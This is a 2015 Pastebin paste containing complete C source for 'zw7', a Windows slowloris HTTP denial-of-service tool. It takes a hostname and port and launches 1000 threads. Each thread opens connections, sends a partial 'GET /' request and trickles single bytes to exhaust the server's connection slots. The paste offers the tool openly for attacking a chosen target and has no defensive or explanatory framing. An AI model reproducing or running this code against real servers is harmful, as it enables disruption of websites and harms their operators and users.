amiralbenz

slowloris tool for Windows

Sep 7th, 2015
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.44 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <WinSock2.h>
  3.  
  4. #pragma comment(lib,"ws2_32.lib")
  5.  
  6. DWORD WINAPI SlowlorisThread(PVOID p)
  7. {
  8. SOCKET s;
  9. sockaddr_in* sai;
  10.  
  11. char header[]="GET /",a='A';
  12. int n;
  13.  
  14. sai=(sockaddr_in*)p;
  15.  
  16. while(1)
  17. {
  18. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  19.  
  20. if(s!=INVALID_SOCKET)
  21. {
  22. connect(s,(sockaddr*)sai,sizeof(sockaddr_in));
  23. send(s,header,sizeof(header)-1,0);
  24.  
  25. while(1)
  26. {
  27. n=send(s,&a,1,0);
  28.  
  29. if(n==SOCKET_ERROR)
  30. {
  31. break;
  32. }
  33.  
  34. Sleep(100);
  35. }
  36.  
  37. closesocket(s);
  38. }
  39. }
  40. }
  41.  
  42. int main(int argc,char* argv[])
  43. {
  44. WSADATA wd;
  45. ULONG i;
  46.  
  47. hostent* host;
  48. sockaddr_in sai;
  49.  
  50. if(argc<2)
  51. {
  52. printf("\nzw7 - HTTP slowloris tool for Windows\nby zwclose7\n\nhttp://zwclose7.wordpress.com\n\nUsage: zw7 [Hostname/IP address] [Port]\nIf port is not set, the port 80 is used\n");
  53. return -1;
  54. }
  55.  
  56. if(WSAStartup(0x202,&wd))
  57. {
  58. printf("\nError: Unable to initialize Winsock\n");
  59. return -1;
  60. }
  61.  
  62. host=gethostbyname(argv[1]);
  63.  
  64. if(!host)
  65. {
  66. printf("\nError: Hostname not found\n");
  67. return -1;
  68. }
  69.  
  70. sai.sin_family=AF_INET;
  71. sai.sin_addr.S_un.S_addr=*(PULONG)host->h_addr;
  72. sai.sin_port=htons(argc<3 ? 80:strtoul(argv[2],NULL,0));
  73.  
  74. printf("\nCreating 1000 threads for attack...\n");
  75.  
  76. for(i=0;i<1000;i++)
  77. {
  78. CreateThread(NULL,0,SlowlorisThread,&sai,0,NULL);
  79. }
  80.  
  81. printf("\nAttack started\nPress enter to stop\n");
  82. getchar();
  83.  
  84. return 0;
  85. }
Advertisement
Add Comment
Please, Sign In to add comment